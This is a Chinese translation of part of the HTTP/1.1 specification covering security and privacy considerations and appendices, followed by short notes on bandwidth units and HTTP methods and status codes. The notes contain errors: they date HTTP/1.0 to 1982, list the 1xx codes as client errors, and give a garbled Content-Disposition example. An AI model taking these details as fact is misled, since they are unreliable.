HTTP的客户端经常要对大量的个人信息保密(例如用户的名字,域,邮件地址,口令,密匙等。),并且应当非常小心地防止这些信息无意识地通过HTTP协议泄露到其他的资源。我们非常强烈地建议应该给用户提供一个方便的界面来控制这种信息的传播,并且设计者和实现者在这方面应该特别注意。历史告诉我们在这方面的错误经常引起严重的安全和/或者隐私问题,并导致对设计或实现者的公司产生非常不利的影响。 
15.1.1服务器日志信息的滥用 (Abuse of Server Log Information)

服务器是用来保存用来指定用户读模型或感兴趣主题的请求的。这些信息通常显然是需保密的,并且它的使用在某些国家被法律保护。利用HTTP协议提供数据的人们必须保证在这些数据被许可的情况下分发。
15.1.2敏感信息的传输 (Transfer of Sensitive Inforamtion)

就像任何数据传输协议一样,HTTP不能调整传输数据的内容,也没有任何经验方法在任意给定请求的背景里去判断特定信息的敏感性。因此,应用程序应该尽可能为此信息提供者提供对此信息的控制。在此背景里,有四个头域需要提出来,这四个头域是:Server,Via,Referer 和From。

揭露服务器特定软件版本信息可能会使服务器的机器更容易受到通过软件安全漏洞来进行攻击的攻击。实现者应该使Server头域成为可设置的选项。

用作穿过网络防火墙入口的代理应该特别小心防火墙后可以辨别主机信息的头域信息被传输。特别是,代理应移除在防火墙之后产生的任何Via头域。

Referer头域允许被学习的读模式和反向链接的跟踪。虽然它非常有用,但也会被滥用如果用户细节没有从包含在Referer头域里信息里分离开来。即使当个人信息已经被移除了,Referer头域也可能指定私有文档的URI(不能被公开)。

From头域里的信息可能会和用户的私有兴趣或他们站点的安全策略相冲突,因此From头域不应被传输在用户没有能使此头域的内容失效、有效和更改的情况下。用户必须能在用户的喜爱或应用程序的缺省设置范围内设置此头域的内容。

我们建议,尽管不需要,给用户提供一个方便的开关界面来使发送From和Referer头域有效或失效。

User-Agent(14.4节)或Server(14.38节)头域有时候能被用来去判断一个特定的客户端或服务器是否存在安全漏洞。不幸的是,同样的信息经常被用于其它有价值的目的,因为HTTP当前没有更好的机制。 
15.1.3 URI中敏感信息的编码(Encoding Sensitive Information in URI’s)

因为一个链接的源可能是私有信息或者可能揭露其它私有信息源,所以强烈建议用户能选择是否需要发送Referer头域。例如,浏览器客户端可能为了开放/匿名方式提供一个触发开关,此开关可能使Referer头域和From头域信息的发送有效/无效。

如果参考页面在一个安全的协议上传输,客户端不应该包含一个Referer头域在一个非安全HTTP请求里。

利用HTTP协议的服务作者不应该利用基于窗体GET提交敏感数据,因为这个能引起数据在请求URI里被编码。许多已存在的服务,代理,和用户代理将在对第三方可见的地方记录请求URI。服务器能利用基于窗体POST提交来取代基于窗体GET提交。
15.1.4连接到Accept头域的隐私问题

Accept请求头域能揭露用户的信息给所有被访问的服务器。Accept-Language头域能揭露用户的私有信息,因为能理解特定语言的人经常被认为就是某个特定种族里的成员。提供选项在每次请求里去设置Accept-Language头域的用户代理被强烈鼓励让设置过程应包含一个让用户知道自己隐私可能被会泄漏的消息。

一种限制隐私丢失的方法可能是缺省为用户代理去遗漏Accept-Language头域的发送,并且询问用户是否给开始给服务器发送Accept-Language头域,如果用户代理通过查看任何由服务器产生的Vary响应头域时发现这个发送能提高服务的质量。

每一个请求里的用户可配置的接受头域(accept header fields),特别是如果这些接受头域(accept header fileds)包含质量值,那么应该被服务器用作相对信赖和长久的用户标识符(user identifiers)。这样的用户标识符将会允许内容提供者进行点击跟踪以及允许合作内容提供者匹配跨服务器点击跟踪或者形成单个用户窗体提交。注意对于许多并不在代理后面的用户,运行用户代理的主机的网络地址也将作为长久用户的标识符。在代理被用作增强隐私的环境里,用户代理应保守地提供接受(accept)头域配置选项给终端用户上。作为一种高度隐私的方式,用户代理可能在接力的(relayed)的请求里的过滤接受头域。提供高度可配置性的用户代理应警告用户会有隐私的泄漏。
15.2 基于文件和路径名称的攻击 

HTTP的源服务器的实现应该限制HTTP请求返回的文档应是服务器管理员有意图的文档。如果HTTP服务器要把HTTP URIs翻译成文件系统的调用,那么服务器必须小心去对待提供给HTTP客户端的文件传输。例如,UNIX,微软Windows,和其他操作系统都利用“..”去指示当前的父目录。对于这样一个系统,一HTTP服务器不允许任何这样的构造(construct)在请求URI里,如果这个构造能在通过HTTP服务器访问之外能访问这个资源。同样的,用作对服务器内部引用的文件(如访问控制文件,配置文件,脚本代码)必须受到保护而不让其被不合适的获取,因为他们可能包含敏感的信息。经验告诉我们一个在HTTP服务器实现里的一个小小的错误会带来安全风险。
15.3 DNS欺骗

使用HTTP的客户端严重依赖于域名服务,因此这会导致基于IP和DNS名称的不关联的攻击。客户端需要小心关注IP地址/DNS名称关联的持久合法性。

特别是,HTTP客户端为了确认IP地址/DNS名称关联性,应该依赖于客户端自己的的名称解析器,而不应依赖缓存以前主机(host)名称查找(host name lookups)结果。许多平台在恰当的时候可在本地缓存主机名称查找(host name lookups),并且他们应被配置为可这样做。然而,只有当被名称服务器报告的TTL(Time To Live)信息指明被缓存的信息仍然有用时,才可以缓存查找(lookups)。 

如果HTTP客户端为了提高性能去缓存主机名称查找(host name lookups)的结果,那么他必须观察被DNS报告的TTL信息。

如果HTTP客户端不能看到这条规则,那么,当以前访问的IP地址改变时,他们就会被欺骗。因为网络地址的改变变得很平常,所以这种形式的攻击在不断增加。看到这个规则能减少潜在的安全攻击的可能性。

此要求同样能改进客户端负载均衡(load-balancing)行为,因为重复的服务器能利用同一个DNS名称,此要求能降低用户在访问利用策略(strategy)的站点中的体验失败。
15.4 Location头域和欺骗

如果单个的服务器支持互不信任的多个组织,那么它必须检查响应(在据称的组织的控制下产生)里Location和Content-Location头域值,以确信这些头域不会使它们没有权限的资源无效。
15.5 Content-Disposition的问题

RFC 1806 [35],在HTTP中经常使用的Content-Disposition(见19.5.1节)头域就源于此文档,有许多非常认真的安全考虑在此文档里说明。Content-Disposition并不是HTTP标准版本中的一部分,但自从它被广泛应用以来,我们正在证明它对使用者的价值和风险。详细资料见RFC 2183 [49](对RFC 1806的升级)。 
15.6 授权证书和空闲客户端

现有的HTTP客户端和用户代理通常会不明确地保留授权信息。HTTP/1.1并没有为服务器提供一个方法让服务器去指导客户端丢弃这些缓存的证书(credentials)。这是一个重大缺陷,此缺陷需要扩展HTTP协议来解决。在某些情形下,缓存证书会干涉应用程序的安全模型,这些情形包含但不局限于:

? 这样的客户端。此客户端空闲已到达一定时间,服务器可能希望再次使客户端让用户出示证书。 

? 这样的应用程序。此应用程序包括了一个会话中断指令(例如在一页上有“退出”或者“提交”的按钮),根据此指令,服务器端“知道”不需要更多理为客户端保留证书。

这是作为当前独立研究的。有很多解决这个问题的社区,并且我们鼓励在屏幕保护程序、空闲超时、和其他能减轻安全问题的方法里利用密码保护。特别是,能缓存证书的用户代理被鼓励去提供一个容易的访问控制机制,让在用户控制下丢弃缓存的证书。
15.7 代理和缓存 (Proxies and Caching)

本质上说,HTTP代理是中间人(men-in-the-middle),并且存在中间人攻击(man-in-the-middle attacks)危险。系统(代理运行于其上)的缺陷能导致严重的安全和隐私问题。代理拥有对相关安全信息、用户和组织的个人信息、和属于用户和内容提供者的专有信息的访问权限。一个有缺陷的代理,或一个没有考虑安全性和隐私性的代理可能会被委托用来攻击。

代理操作者应该保护代理运行其上的系统,正如他们保护任何包含或传输敏感信息的系统一样。特别是,代理上收集的日志信息经常包含较高的个人敏感信息,和/或关于组织的信息。日志信息应该被小心的保护,并且要合适地开发利用。(见15.1.1)节。

代理的设计者应当考虑到设计和编码判定所涉及到的隐私和安全问题,以及他们提供给代理操作人员配置选项(尤其是缺省配置)所牵涉到的隐私和安全问题。

代理的用户需要知道他们自比运行代理的操作员更不值得信赖;HTTP协议自身不能解决这个问题。

在合适的时候,对密码学的正确应用,可能会保护广泛的安全和隐私攻击。密码学的讨论不在本协议文档的范围内。
15.7.1关于代理的服务攻击的拒绝

代理是存在的。代理很难被保护。关于此研究正在进行。
16 感谢(Acknowledgment)

这份规范大量使用了扩展BNF和David为RFC 822 [9]定义的常用结构。同样的,它继续使用了很多Nathaniel Borenestein和Ned Freed为MIME [7]提供的定义。我们希望在此规范里他们的结论有助于减少过去在HTTP和互联网邮件消息格式关系上的混淆。

HTTP协议在这几年已经有了相当的发展。它受益于大量积极的开发人员的社区--许多人已经通过www-talk邮件列表参与进来--并且通常就是那个社区对HTTP和万维网的成功作了重大贡献。 Marc Andreessen, Robert Cailliau, Daniel W. Connolly, Bob Denny, John Franks, Jean-Francois Groff , Phillip M. Hallam-Baker, Hakon W. Lie, Ari Luotonen, Rob McCool, Lou Montulli, Dave Raggett, Tony Sanders, 和 Marc VanHeyningen因为他们在定义协议早期方面的贡献应该得到特别的赞誉。

这篇文档从所有那些参加HTTP-WG的人员的注释中获得了很大的益处。除了已经提到的那些人以外,下列人士对这个规范做出了贡献:

Gary Adams Ross Patterson 

Harald Tveit Alvestrand Albert Lunde 

Keith Ball John C. Mallery 

Brian Behlendorf Jean-Philippe Martin-Flatin 

Paul Burchard Mitra 

Maurizio Codogno David Morris 

Mike Cowlishaw Gavin Nicol 

Roman Czyborra Bill Perry 

Michael A. Dolan Jeffrey Perry 

David J. Fiander Scott Powers 

Alan Freier Owen Rees 

Marc Hedlund Luigi Rizzo 

Greg Herlihy David Robinson 

Koen Holtman Marc Salomon 

Alex Hopmann Rich Salz 

Bob Jernigan Allan M. Schiffman 

Shel Kaphan Jim Seidman 

Rohit Khare Chuck Shotton 

John Klensin Eric W. Sink 

Martijn Koster Simon E. Spero 

Alexei Kosut Richard N. Taylor 

David M. Kristol Robert S. Thau 

Daniel LaLiberte Bill (BearHeart) Weinman 

Ben Laurie Francois Yergeau 

Paul J. Leach Mary Ellen Zurko 

Daniel DuBois Josh Cohen 

缓存设计的许多内容和介绍应归于以下人士的建议和注释:Shel Kaphan, Paul Leach, Koen Holtman, David Morris, 和 Larry Masinter。

大部分规范的范围是基于Ari Luotonen和John Franks早期做的工作,以及从Steve Zilles另外加入的内容。

感谢Palo Alto的"cave men"。你们知道你们是谁。

Jim Gettys(这篇文档现在的编者)特别希望感谢Roy Fielding,这篇文档以前的编者,连同John Klensin, Jeff Mogul, Paul Leach, Dave Kristol, Koen Holtman, John Franks, Josh Cohen, Alex Hopmann, Scott Lawrence, 和Larry Masinter一起感谢他们的帮助。还要特别感谢Jeff Mogul和Scott Lawrence对“MUST/MAY/ SHOULD”使用的检查。

Apache组,Anselm Baird-Smith,Jigsaw的作者,和Henrik Frystyk在早期实现了RFC 2068,我们希望感谢他们发现了许多这篇文档正尝试纠正的问题。
19 附录 
19.1 互联网媒体类型message/http和application/http

这篇文档除了定义HTTP/1.1协议外,同时还被作为互联网媒体类型“message/http”和“application/http”的规范。此类型用于封装一个HTTP请求消息或响应消息,这假设此类型遵循MIME对 所有“消息”类型关于行长度和编码的限制。application/http类型可以用来封装一个或者更多HTTP请求或响应信息(非混合的)的管线(pipeline)。下列是在IANA[17]注册的。

媒体类型名称: message 

媒体子类型名称: http 

必须参数: 无

可选参数: 版本,信息类型

版本:封装信息的HTTP版本号(例如,"1.1")。如果不存在,版本可以从消息的第一行确定。

信息类型:信息类型--"请求"或者"响应"。如果不存在,类型可以从报文的第一行确定。 

编码考虑:只有"7bit","8bit",或者"二进制"是允许的。

安全考虑:无 

媒体类型名称: application 

媒体子类型名称: http 

必须参数: 无

可选参数: 版本,信息类型

版本:封装信息的HTTP版本号(例如,"1.1")。如果不存在,版本可以从报文的第一行确定。

信息类型:信息类型--"request"或者"response"。如果不存在,类型可以从报文的第一行确定。 

编码考虑:用这种类型封装的HTTP信息是"二进制"的格式;当通过E-mail传递的时候一种合适的内容传输编码是必须的。

安全考虑:无 
19.2 互联网媒体类型multipart/byteranges

当一个HTTP 206(部分内容)响应信息包含多个范围的内容(请求响应的内容有多个非重叠的范围),这些是作为一个多部分消息主体来被传送的。这种用途的媒体类型被称作"multipart/byteranges"。

multipart/byteranges媒体类型包括两个或者更多的部分,每一个都有自己Content-type和Content-Range头域。必需的分界参数(boundary parameter)指定分界字符串,此分界字符串用来隔离每一部分。

媒体类型名称: multipart 

媒体子类型名称: byteranges 

必须参数: boundary 

可选参数: 无

编码考虑:只有"7bit","8bit",或者"二进制"是允许的。

安全考虑:无 

例如:

HTTP/1.1 206 Partial Content 

Date: Wed, 15 Nov 1995 06:25:24 GMT 

Last-Modified: Wed, 15 Nov 1995 04:58:08 GMT 

Content-type:multipart/byteranges;boundary=THIS_STRING_SEPARATES 

--THIS_STRING_SEPARATES 

Content-type: application/pdf 

Content-range: bytes 500-999/8000 

...第一部分... 

--THIS_STRING_SEPARATES 

Content-type: application/pdf 

Content-range: bytes 7000-7999/8000 

...第二部分

--THIS_STRING_SEPARATES-- 

注意:

1)在实体(entity)中,在第一个分界字符串之前可以有多余的CRLFs。 

2)虽然RFC 2046 [40]允许分界字符串加引号,但是一些现有的实现会不正确的处理分界字符串 

3)许多浏览器和服务器是按照字节范围标准的早期草案关于使用multipart/x-byteranges媒体类型来进行编码的的,这个草案不总是完全和HTTP/1.1中描述的版本兼容。 
19.3 放松的应用程序 (Tolerent Applications)

虽然这篇文档列出了HTTP/1.1消息所必须的元素,但是并不是所有的应用程序都能正确地实现。因此我们建议运行程序可以容忍偏差只要这些偏差能被无歧义的理解。

客户端应该放松地解析Status-Line(状态行);服务器也应该放松地解析Request-Line(请求行)。特别的,他们应该可以接受头域之间任何数量的SP或HT字符,即使协议规定只有一个SP。

消息头域的行终结符是CRLF。然而,当解析这样的头域时,我们建议应用程序能识别单一LF作为行终结符并能忽略CR。

实体主体(entity-body)的字符集应该被标记为应用于实体主体字符编码的最小公分母,并且期望不对实体进行标记要优于对实体标记为US-ASCII或ISO-8859-1。见3.7.1和3.4.1。

对关于日期分析和编码的要求的额外规则以及其它对日期编码的潜在问题包含:

? HTTP/1.1客户端和缓存应该假定一个似乎是50多年以后的RFC-850日期实际上是过去的(这有助于解决"2000年"问题)。

? 一个HTTP/1.1的实现可以内部地表示一个比正确日期值更早的已解析后的Expires日期,但是一定不要(MUST NOT)内部地表示一个比正确日期值更迟的已解析过的Expires日期。

? 所有过期日期相关的计算必须用GMT时间。本地时区一定不能(MUST NOT)影响年龄或过期时间的计算。

? 如果一个HTTP头域不正确的携带了一个非GMT时间区的日期值,那么必须利用最保守的可能转换把此日期值转换成GMT时间值。 
19.4 HTTP实体和RFC 2045实体之间的区别

HTTP/1.1使用了许多Internet Mail(RFC 822 [9])和Multipurpose Internet Mail Extensions(MIME [7])里定义的结构,去允许实体以多种表现形式和扩展机制去传输。然而,RFC2045讨论邮件,并且HTTP有许多不同于RFC2045里描述的特征。这些不同被小心地挑选出来优化二进制连接的性能,为了允许使用新的媒体类型有更大的灵活性,为了使时间比较变得容易,和为了承认一些早期HTTP服务器和客户端的实效。

本附录描述了HTTP协议不同于RFC 2045的特殊区域。在严格的MIME环境中的代理和网关应该意识到这些不同并且在必要的时候要提供合适地转换。从MIME环境到HTTP的代理和网关也需要意识到这些不同因为一些转换可能是需要的。 
19.4.1 MIME版本(MIME-Version)

HTTP不是一个遵守MIME的协议。然而HTTP/1.1消息可以包含一个单独的MIME-Version常用头域用来指出什么样的MIME协议版本被用于去构造消息。利用MIME-Version头域指明完全遵循MIME协议的消息(在RFC2045[7])。代理/网关要保证完全遵守MIME协议当把HTTP消息输出到严格MIME环境的时候。

MIME-Version = "MIME-Version" ":" 1*DIGIT "." 1*DIGIT 

在HTTP/1.1用的缺省值是MIME1.0版本。然而,HTTP/1.1消息的解析和语义是由本文档而不是MIME规范定义的。 
19.4.2转换到规范化形式 (Conversion to Canoical Form)

RFC 2045 [7]要求一互联网邮件实体在被传输之前要被转换成一个规范化的形式,这在RFC2049[48]里第四章里描述的。本文档的3.7.1节描述了当用HTTP协议传输时允许使用的“text”子媒体类型的形式。RFC2046要求类型为“text”的内容要用CRLF表示为换行符,以及在换行符外禁止使用CR或LF。

RFC 2046需要像在“text”类型的内容里一样,用CRLF表示行间隔符并禁止在行间隔符序列以外使用CR或者LF。HTTP允许CRLF,单个CR,和单个LF来表示一个换行符在一个文本内容消息中。

在可能的地方,从HTTP到MIME严格环境的代理或网关应该把RFC2049里描述的text媒体类型里所有换行符转换成RFC2049里CRLF的规范形式。然而,注意这可能在Content-Encoding出现的时候,以及HTTP允许利用一些没有利用13和10代表CR和LF的字符集时候都会变得复杂。

实现者应该注意转换将会破坏任何应用于源内容(original content)的密码校验和,除非源内容已经是规范化形式。因此,对任何在HTTP中使用校验和的内容被建议要表示为规范化形式。 
19.4.3日期格式的转换 (Conversion of Date Formate)

为了简化日期比较的过程,HTTP/1.1使用了一个限制的日期格式(3.3.1节)。其它协议的代理和网关应该保证任何消息里出现的Date头域应该遵循HTTP/1.1规定的格式,如果有必要需要重写此日期。 
19.4.4 Content-Encoding头域介绍 (Introduction of Content-Encoding)

RFC 2045不包含任何等价于HTTP/1.1里Content-Encoding头域的概念。因为这个头域作为媒体类型(media type)的修饰,从HTTP协议到MIME遵守协议的代理和网关在转发消息之前必须既能改变Content-Type头域的值,也能解码实体主体(entity-body).。(一些为互联网邮件类型的Content-Type的实验性应用有使用一个媒体类型参数“; conversions=<content-coding>”去执行等价于Content-Encoding的功能。然而,此参数并不是RFC2045的部分)
19.4.5没有Content-Transfer-Encoding头域

HTTP不使用RFC 2045里的Content-Transfer-Encoding(CTE)头域。从使用MIME协议到HTTP的代理和网关在把响应消息发送给HTTP客户端之前必须删除任何非等价(non-identity,译注:identity编码,表示没有进行任何编码)CTE("quoted-printable"或"base64")编码。

从HTTP到MIME协议遵循的代理和网关要确保消息在那个协议安全传输上是用正确的格式和正确的编码,“安全传输”是通过使用的协议的限制而被定义的。这样一个代理或网关应该用合适的Content-Transfer-Encoding头域来标记数据如果这样做将提高安全传输的可能性。
19.4.6 Transfer-Encoding头域的介绍

HTTP/1.1介绍了Transfer-Encoding头域(14.41节)。代理/网关在转发经由MIME协议的消息之前必须移除任何传输编码。

一个解码"chunked"传输代码(3.6节)的程序可以用代码表示如下:

length := 0 

read chunk-size, chunk-extension (if any) and CRLF 

while (chunk-size > 0) { 

read chunk-data and CRLF 

append chunk-data to entity-body 

length := length + chunk-size 

read chunk-size and CRLF 

} 

read entity-header 

while (entity-header not empty) { 

append entity-header to existing header fields 

read entity-header 

} 

Content-Length := length 

Remove "chunked" from Transfer-Encoding 
19.4.7 MHTML和行长度限制

和MHTML实现共享代码的HTTP实现需要了解MIME行长度限制。因为HTTP没有这个限制,HTTP并不折叠长行。用HTTP传输的MHTML消息遵守所有MHTML的规定,包括行长度的限制和折叠,规范化等,因为HTTP传输所有消息主体(见3.7.2)并且不解析消息的内容和消息中包含任何MIME头域。
19.5 其它特征

RFC 1945和RFC 2068里一些协议元素被一些已经存在的HTTP实现使用,但是这些协议元素对于大多数HTTP/1.1应用程序既不兼容也不正确。实现者被建议去了解这些特征,但是不能依赖于它们的出现或不依赖于与其它HTTP/1.1应用程序的互操作性。这些特征中的一些特征描述了实验性的特征,以及还有一些特征描述了没有在基本HTTP/1.1规范里被描述的实验性部署特征。

一些其它头域,如Content-Dispositon和Title头域,他们来自于SMTP和MIME协议,他们同样经常被实现(见2076[37]).
19.5.1 Content-Disposition

Content-Disposition响应头域被建议作为一个这样的用途,那就是如果用户请求要使内容被保存为一个文件,那么此头域被源服务器使用去建议的一个缺省的文件名。此用途来自于RFC1806[35]关于对Content-Disposition的定义。

content-disposition = "Content-Disposition" ":" 

disposition-type *( ";" disposition-parm )

disposition-type = "attachment" | disp-extension-token 

disposition-parm = filename-parm | disp-extension-parm 

filename-parm = "filename" "=" quoted-string 

disp-extension-token = token 

disp-extension-parm = token "=" ( token | quoted-string )

一个例子是:

Content-Dis; filename="fname.ext" 

接收用户的代理不应该(SHOULD NOT)关注任何在filename-parm参数中出现的文件路径信息,这个参数被认为在这次仅仅是应用于HTTP实现。文件名应该(SHOULD)只被当作一个终端组件。

如果此头域用于一个Content-Type为application/octet-stream响应里,那么含义就是用户代理不应该展现响应,但是它应该直接进入一个‘保存响应为…’对话框。

见15.5节关于Content-Disposition的的安全问题。
19.6 和以前版本的兼容

要求和以前的版本的兼容超出了协议规范的范围。然而HTTP/1.1有意设计成很容易支持以前的版本。必须值得注意的是,在写这份规范的时候,我们希望商业的HTTP/1.1服务器去:

--接受HTTP/0.9,1.0和1.1请求的请求行(Request-Line)格式;

--理解HTTP/0.9,1.0或1.1格式中的任何有效请求;

--恰当地用客户端使用的主要版本来响应。

并且我们希望HTTP/1.1的客户端:

--接受HTTP/1.0和1.1响应的状态行(Status-Line)格式;

--懂得HTTP/0.9,1.0或1.1的格式的任何有效的响应。

对大多数HTTP/1.0的实现,每一个连接要在请求之前被客户端建立,并且在发送响应之后要被服务器关闭。一些实现了在RFC 2068 [33]的19.7.1节描述的持久连接的Keep-Alive版本。 
19.6.1对HTTP/1.0的改变 

这一部分总结HTTP/1.0和HTTP/1.1之间主要的区别。 
19.6.1.1 对多主机web服务器和保留IP地址简化的改变

客户端和服务器都支持Host请求头域,并且如果Host请求头域在HTTP/1.1请求里没有出现必须报告一错误,并且服务器能接受一个绝对URIs(5.1.2节),这些要求是此规范里最重要的改变。

旧的HTTP/1.0客户端会认为IP地址和服务器是一对一关系;没有其它机制去区分IP地址和目标服务器。上面的改变将允许互联网,一旦旧客户端不再普遍使用时,可以去支持一个IP地址对应多个web站点的情况,这大大简化了大型的web运行服务器,在那上面上分配多个IP地址给一个主机(host)会产生严重问题。互联网照样能恢复这样一个IP地址,此IP地址作为特殊目的被分配给被用于根级(root-level)HTTP URLs的域名。给定web的增长速度和服务器的部署数量,那么所有HTTP实现(包括对已存HTTP/1.0应用程序)应该正确地满足下面这些需求:

--客户端和服务器都必须支持Host请求头域。

--发送HTTP/1.1请求的客户端必须发送Host头域。

--如果HTTP/1.1请求不包括Host请求头域,服务器必须报告错误400(Bad Request)。

--服务器必须接受绝对URIs(absolute URIs)。 
19.6.2和HTTP/1.0持久连接的兼容

一些客户端和服务器可能希望和一些以前持久连接实现的HTTP/1.0客户端和服务器保持兼容。HTTP/1.0持久连接需要显式地协商,因为持久连接不是HTTP/1.0的缺省行为。关于持久连接的HTTP/1.0实验性实现存在缺陷,并且HTTP/1.1里的新的功能被设计成去矫正这些问题。这个缺陷是:一些已经存在的1.0客户端可能会发送Keep-Alive头域给不理解持久连接的代理,然后代理会把此Keep-Alive转发给下一个内向(inbound)服务器。结果是HTTP/1.0客户端必须禁止利用Keep-Alive,当和代理会话的时候。

然而,和代理进行会话最重要是利用持久连接,所以那个禁止很显然不能被接受。因此,我们需要一些其它的机制去指明需要一个持久连接,并且它必须能安全地被使用甚至是当和忽略持久连接的旧代理会话。持久连接缺省是为HTTP/1.1消息的;为了声明非持久连接(见14.10节),我们介绍一个新的关键字(Connection:close)。

持久连接的源HTTP/1.0的形式(Connection: Keep-Alive 和 Keep-Alive 头域)在RFC2068里说明
19.6.3对RFC 2068的改变

这篇规范已经被仔细的审查来纠正关键字的用法和消除它们的歧义;RFC 2068在遵守RFC 2119 [34] 制定的协定方面有很多问题。

澄清哪个错误代码将会使入流服务器失灵(例如DNS失灵)。(10.5.5节)

CREATE有一个特点当一个资源第一次被创建的时候必须需要一个Etag。(10.2.2节)

Content-Base头域从此规范里删除了:它无法广泛的实现,并且在没有健壮的扩展机制的情况下,没有简单的,安全的方式去介绍它。并且,它以一种相似的而不是相同的方式在MHTML[45]里被使用。 

略…..
20 索引 (Index) 
21 全部版权声明

略…..

“带宽”和“速度”的分别

 所谓 1M 宽带,其实是指 1Mbps (兆比特每秒),亦即 1 x 1024 / 8 = 128KB/sec,但这只是理论上的速度,实际上则要再扣约 12% 的信息头标识等各种控制讯号,故其传输速度上限应为 112KB/sec 左右。这里列出了各个速度单位之间的关系:1 Byte = 8 bits 1 Kb = 1024 bits 1 KB = 1024 bytes 1 Mb = 1024 Kb 1 MB = 1024 KB在这里要注意的是传输单位的写法上,B 和 b 分别代表 Bytes 和 bits,两者的定义是不同的,千万不要混淆了。

  所以各种宽带的极限下载值也可以轻易的计算出来。

  1 M =112 KB/s 2 M =225 KB/s 8 M =901 KB/s 10 M =1126 KB/s Mbps实际上是一个带宽单位,而非速度单位,在"Mbps"单位中的"b"是指"Bit(位)".而真正的速度单位应为MB/s,其中的"B"是指"Byte(字节)".因为数据是按字节传输的,而并非按位。

HTTP请求方法及响应码详解

HTTP是Web协议集中的重要协议,它是从客户机/服务器模型发展起来的。客户机/服务器是运行一对相互通信的程序,客户与服务器连接时,首先,向服务 器提出请求,服务器根据客户的请求,完成处理并给出响应。浏览器就是与Web服务器产生连接的客户端程序,它的端口为TCP的80端口,。浏览器与Web 服务器之间所遵循的协议就是HTTP。

HTTP的早期版本为HTTP/0.9,它适用于各种数据信息的简洁快速协议,但是其远不能满足日益发展各种应用的需要。 但HTTP/0.9作为HTTP协议具有典型的无状态性:每个事务都是独立进行处理的,当一个事务开始就在客户与服务器之间建立一个连接,当事务结束时就 释放这个连接。HTTP/0.9包含Simple-Request&Simple-Responsed的报文结构。但是客户无法使用内容协商,所 以服务器也无法返回实体的媒体类型。

1982年,Tim Berners-Lee提出了HTTP/1.0,在此后的不断丰富和发展中,HTTP/1.0成为最重要的面向事务的应用层协议。该协议对每一次请求/响 应,建立并拆除一次连接。其特点是简单、易于管理,所以它符合了大家的需要,得到了广泛的应用。其缺点是仍会发生下列问题:对用户请求响应慢、网络拥塞严 重、安全性等。

1997年形成的HTTP/1.1,也就是现在普遍使用的协议,在持续连接操作机制中实现流水方式,即客户端需要对同一服务器 发出多个请求时,其实现在多数的网页都是有多部分组成(比如多张图片),可用流水线方式加快速度,流水机制就是指连续发出多个请求并等到这些请求发送完 毕,再等待响应。这样就大大节省了单独请求对响应的等待时间,使我们得到更快速的浏览。

另外,HTTP/1.1服务器端处理请求时按照收到的顺序进行,这就保证了传输的正确性。当然,服务器端在发生连接中断时,会自动的重传请求,保证数据的完整性。

HTTP/1.1还提供了身份认证、状态管理和Cache缓存等机制。这里,我想特别提一下关于HTTP/1.1中的Cache缓存机制对 HTTP/1.0的不足之处的改进,它严格全面,既可以减少时间延迟、又节省了带宽。HTTP/1.1采用了内容协商机制,选择最合适的用户的内容表现形 式。

现在,很多地方都有用到的虚拟主机技术在HTTP/1.1中也可以实现。所谓的虚拟主机技术,就是同一主机地址实际对应多台主机。通俗的 讲,当你同时在一个网站申请两个主页时,用协议分析仪可以发现其实这两个主页对应的是同一个IP地址。这样用多台完全相同的机器形成WWW服务器就可以提 高处理的吞吐量。

传统的解决方案是改造域名服务器使其可以根据一定的算法将同一域名解释成不同的IP地址。分别对应虚拟主机的每台机器,其缺点是要求每台机器占用完全独立的IP地址,这与IP地址的缺乏是相矛盾的。
HTTP/1.1提供的解决方案在HTTP协议自身中加入了指定不同主机的功能,从而多台主机可以共享一个IP地址,既提高了性能又便于管理。

因为HTTP/1.1是Internet现行的标准协议,这里详细介绍其相关语法。

首先,HTTP/1.1格式可写为:
其中请求方法是请求一定的Web页面的程序或用于特定的URL。可选用下列几种:
GET: 请求指定的页面信息,并返回实体主体。
HEAD: 只请求页面的首部。
POST: 请求服务器接受所指定的文档作为对所标识的URI的新的从属实体。
PUT: 从客户端向服务器传送的数据取代指定的文档的内容。
DELETE: 请求服务器删除指定的页面。
OPTIONS: 允许客户端查看服务器的性能。
TRACE: 请求服务器在响应中的实体主体部分返回所得到的内容。
PATCH: 实体中包含一个表,表中说明与该URI所表示的原内容的区别。
MOVE: 请求服务器将指定的页面移至另一个网络地址。
COPY: 请求服务器将指定的页面拷贝至另一个网络地址。
LINK: 请求服务器建立链接关系。
UNLINK: 断开链接关系。
WRAPPED: 允许客户端发送经过封装的请求。
Extension-mothed:在不改动协议的前提下,可增加另外的方法。
比如:
GET /index.html HTTP/1.1
Accept: text/plain /*纯ASCII码文本文件*/
Accept: text/html /*HTML文本文件*/
User-Agent:Mozilla/4.5(WinNT)
说明浏览器使用Get方法请求文档/index.html。浏览器则只允许接收纯ASCII码文本文件和HTML文本文件,其使用的引擎是Mozilla/4.5(Netscape)。

当服务器响应时,其状态行的信息为HTTP的版本号,状态码,及解释状态码的简单说明。现将5类状态码详细列出:
① 客户方错误
100  继续
101  交换协议
② 成功
200  OK
201  已创建
202  接收
203  非认证信息
204  无内容
205  重置内容
206  部分内容
③ 重定向
300  多路选择
301  永久转移
302  暂时转移
303  参见其它
304  未修改(Not Modified)
305  使用代理
④ 客户方错误
400  错误请求(Bad Request)
401  未认证
402  需要付费
403  禁止(Forbidden)
404  未找到(Not Found)
405  方法不允许
406  不接受
407  需要代理认证
408  请求超时
409  冲突
410  失败
411  需要长度
412  条件失败
413  请求实体太大
414  请求URI太长
415  不支持媒体类型
⑤ 服务器错误
500  服务器内部错误
501  未实现(Not Implemented)
502  网关失败
504  网关超时
505 HTTP版本不支持
比如:(在《TELNET……》一文中用telnet登陆80端口,相同的方法用在HTTP/1.1中,会发现没有显示,下面补充说明之)
telnet www.fudan.edu.cn 80
HEAD / HTTP/1.1
host:www.fudan.edu.cn /*本行为输入内容*/
HTTP/1.1 501 Method Not Implemented
Date: Web, 01 Nov 2000 07:12:29 GMT /*当前的日期/时间*/
Server: Apache/1.3.12 (Unix) /*Web服务器信息*/
Allow: GET, HEAD, OPTION, TRACE /*支持的方法类型*/
Connection: close
Connect-Type: Text/html; charset=iso-8859-1/*连接的媒体类型*/

<!DOCTYPE HTML PUBLIG "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method
Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
head to /inde
x.html not supported.<P>
Invalid method in request head / htp/1.1<P>
<HR>
<ADDRESS>
Apache/1.3.12 Server at www.fudan.edu.cn Port 80</ADDRESS>
</BODY></HTML>
关于实体头部的内容还可以有:
Last Modified :请求文档的最近修改时间。
Expires :请求文档的过期时间。
